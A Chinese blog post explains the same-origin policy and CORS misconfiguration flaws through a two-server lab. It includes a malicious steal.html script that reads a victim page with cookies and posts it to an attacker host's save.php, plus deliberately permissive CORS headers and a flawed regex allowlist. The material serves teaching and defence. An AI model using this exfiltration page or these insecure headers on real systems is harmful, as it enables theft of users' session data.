过完年回来,我闲来无事逛了逛技术论坛,碰巧看到了对CORS漏洞的描述,顿时感兴趣起来。查了一些资料,也动手做了一些实践测试,解决了一些疑惑,这里整理成一篇博客供大家学习浏览。
一切从同源策略说起
同源策略
如果对浏览器有了解的朋友应该听过”同源策略(SOP)”。对于浏览器来说,这是一个十分重要的策略,甚至可以称得上浏览器安全的基础。
同源策略的定义为:不同域的客户端脚本在没有明确授权的情况下,不能读写对方的资源。当域名、端口和协议相同时,两个客户端才会被判断为同源。这个策略实际上完成了不同会话之间的隔离。
我们可以试想一下,如果你登录一个合法网站,然后又访问了一个恶意网站,若是没有同源策略,那么恶意网站可以随意操作合法网站上你的资源和数据。
跨域
总的来说,同源策略是一个很好的策略,能在很大程度上保证我们用户的安全。但是这已经是20年前提出的策略了,随着Web应用的不断发展,如今遇到了许多需要跨域访问资源的情况。这些场景大概如下:
- 前后端分离的开发
- 本地资源却在不同域的情况
- 调用关联第三方平台,如电商调用快递信息
- 子站调用主站资源信息
因此,即使浏览器的同源策略不变,我们依旧希望找到一些办法来实现跨域。
CORS(跨域资源共享)
简介
CORS,跨域资源共享(Cross-origin resource sharing),是H5提供的一种机制,WEB应用程序可以通过在HTTP增加字段来告诉浏览器,哪些不同来源的服务器是有权访问本站资源的,当不同域的请求发生时,就出现了跨域的现象。
简单来说,CORS是一种特例机制,可以在全局同源策略下开一个后门,允许特定的网站通过。
实验测试
为了加深对CORS机制的理解,我设置了两个服务器,服务器A是合法服务器,服务器B为恶意服务器。而为了便于读者理解,我在hosts中进行了配置:
47.xxx.xxx.xxx www.legal.com
165.xxx.xxx.xxx www.malious.com
其中,域名legal为合法网站,域名malious为恶意网站。
不带Cookie的跨域访问
第一种情况是不带Cookie时对的访问,在legal中放置返回secret.php,其中返回phpinfo:
<?php
phpinfo();
?>
直接访问www.legal.com/secret.php
会直接显示:
然后,在malious中放置恶意页面steal.html,在用户访问时恶意去请求secret.php的内容:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<h1>Hello I malious page. </h1>
<script type="text/javascript">
function loadXMLDoc()
{
var xhr1;
var xhr2;
if(window.XMLHttpRequest)
{
xhr1 = new XMLHttpRequest();
xhr2 = new XMLHttpRequest();
}
else
{
xhr1 = new ActiveXObject("Microsoft.XMLHTTP");
xhr2= new ActiveXObject("Microsoft.XMLHTTP");
}
xhr1.onreadystatechange=function()
{
if(xhr1.readyState == 4 && xhr1.status == 200) //if receive xhr1 response
{
var datas=xhr1.responseText;
xhr2.open("POST","http://www.malious/save.php","true");
xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xhr2.send("T1="+escape(datas));
}
}
xhr1.open("GET","http://www.legal.com/secret.php","true") //request user page.
xhr1.withCredentials = true; //request with cookie
xhr1.send();
}
loadXMLDoc();
</script>
</html>
上述代码的逻辑是这样的:一旦用户访问了这个页面,那么页面上的JavaScript脚本就会执行,去访问www.legal.com/secret.php
的内容,并将访问的内容保存在本地。好,现在我们直接去访问恶意网站(www.malious.com/steal.html),返回结果:
可以看到,我们的请求被拦截了,我们的JavaScript脚本并没有执行成功,本地也没有生成保存的文件。我们可以从图中清晰地看出原因:同源策略,不允许跨域请求。
但是,当我们去查看网络中的数据包时,却可以发现返回状态是200,而且是有返回内容的:
所以我们可以推测出,JavaScript是成功执行了的,请求到达legal服务器,并且成功获得了响应内容。所以拦截方是浏览器,虽然有响应内容,但同源策略将其丢弃。我们可以结合下图进行理解:
那么CORS是怎么产生的呢?当我们修改legal服务器中的配置时:
<?php
header("Access-Control-Allow-Origin:http://www.malious.com");
phpinfo();
?>
我们再次访问恶意网站(www.malious.com/steal.html),返回结果:
可以看到,没有出现任何提示信息,因此返回的内容没有被拦截。
分析一下原因,我们在原legal服务器中配置header("Access-Control-Allow-Origin:http://www.malious.com")
,这段代码等于设置了一个白名单,允许malious.com域进行跨域访问。这时,在legal服务器得到一个资源访问请求时,会进行检测,如果来源是malious.com域,那么在返回资源的响应包中会加上Access-Control-Allow-Origin:http://www.malious.com
,这样浏览器将不再拦截跨域的情况:
整个跨域流程大概如下图所示:
带Cookie的跨域访问
上述的跨域是最基础的情况,但是一般而言,恶意网站进行跨域请求时为了获取一些敏感信息,比如用户的Cookie。在用户带Cookie进行跨域时,情况与不带Cookie时不太相同。
我们设置一个页面(login.php)来设置Cookie:
<?php
setcookie("SESSIONid","THISISSESSID20180802",time()+3600,"","",0); //设置普通Cookie
setcookie("test_http","THISISSESSIDhttponly20180802",time()+3600,"","",0,1);//设置Http Only Cookie
?>
我们先去访问这个页面,再去访问www.legal.com/secret.php时,可以看到我们已经设置上了Cookie:
然后我们在malious服务器上放置一个保存响应信息的页面(save.php):
<?php
$myfile = fopen("secret.html", "w+") or die("Unable to open file!");
$txt = $_POST['T1'];
fwrite($myfile, $txt);
fclose($myfile);
?>
这样一来,如果跨域成功,那么携带用户Cookie的phpinfo信息就会保存在本地secret.html中。
但是,当我们再次访问www.malious.com/steal.html时,却发现响应包再次被拦截:
这是因为,如果用户是在携带Cookie的情况下进行跨域请求,那么浏览器将会检测是否在服务器上允许了带Cookie跨域。
因此我们在legal服务器上修改配置,允许带Cookie跨域:
<?php
header("Access-Control-Allow-Origin:http://www.malious.com");
header("Access-Control-Allow-Credentials:true");
phpinfo();
?>
完成配置后,我们再次访问时,legal服务器会自动在响应包中添加Access-Control-Allow-Credentials:true
,即允许带Cookie跨域,则浏览器就不会再拦截响应包。而且从legal服务器返回的内容将会被保存到malious.com/secret.html上了:
无差别拦截
在CORS跨域时,还有一种特殊情况,当服务器的配置为:
<?php
header("Access-Control-Allow-Origin:*");
header("Access-Control-Allow-Credentials:true");
phpinfo();
?>
即允许任何网站带Cookie进行跨域时,浏览器会无差别进行拦截,这也算浏览器同源策略对用户最后的保护:
漏洞
其实关于CORS的漏洞,我们已经可以在上面窃取Cookie的实验中看出一些端倪,如果允许恶意网站进行跨域请求,那么将会造成严重的信息泄露。
所以CORS漏洞的本质是服务器配置不当。
然而,现实中的CORS漏洞并不会像实验中那么直白,一般来说,网站不可能配置允许未知网站跨域。一般出现CORS漏洞的场景是这样的:
管理员在配置时需要对一批网站进行跨域授权,但一个个添加是十分麻烦的,所以管理员直接写了一个正则匹配式子来代替这些域名。问题往往出现在这里,如果正则匹配式子不够严谨或有错误,那么就会造成CORS漏洞。
举一个例子,一个管理员想要配置domain.com及其子域名可跨域,所以他配置:
<?php
header("Access-Control-Allow-Origin:^.*domain.com$");
header("Access-Control-Allow-Credentials:true");
phpinfo();
?>
这很明显是存在漏洞的正则匹配式,因为evildomain.com也满足了这个正则,所以攻击者可以去注册这个域名来发动攻击。
漏洞挖掘
关于CORS的漏洞挖掘目前两种思路,一个是白盒,这个主要是去定位相关的代码:
header("Access-Control-Allow-Origin");
header("Access-Control-Allow-Credentials");
然后分析是否存在漏洞,这种方法比较直观和简单。
如何是黑盒的话,主要还是先找网站是否存在跨域的功能,如果存在,那跨域的是哪些域名,收集信息,寻找规律,尝试构造。除了经验还需要很大程度的运气,当然如果有好的字典也可以尝试去爆破。
CSRF和CORS
在学习CORS之前,我是已经熟练掌握CSRF攻击的。现在回来看,顿时产生了异或,CSRF也是一种执行跨域的攻击,但是似乎并没有遇到同源策略的问题?
查了一下资料,理清了一下思路就明白了:我们知道CSRF一般是使用form表单来提交请求的,而浏览器是不会对form表单进行同源阻拦的,因为其是无响应的请求。知乎中解答我也是较为认同的:
所以我们发起CSRF攻击时,比如给后台添加管理员,Post数据提交后,服务器会处理请求(给后台添加管理员),但不会返回结果给你,而实际上后台已经完成了添加管理员操作。流程可以参考:
XSS和CORS
值得一提的是,虽然同源策略禁止了跨域,但是DOM中的很多标签都可以绕过这个限制,比如<script>
,<img>
,<a>
等等。
只要包含了 “src” 或 “href” 属性的标签都可以完成跨域操作。
我们知道,XSS是利用<script>
,<img>
等标签执行注入的,实际上也是利用了这些标签完成了跨域传递敏感信息,其流程如下所示:
总结
COSR漏洞其实是一个很早就出现的漏洞,只是国内比较少见,但国外其实曾经造成过很多恶劣影响,比如facebook信息泄露。如果我们在开发网站时遇到跨域的情况,一定要谨慎处理,不可留下CORS漏洞。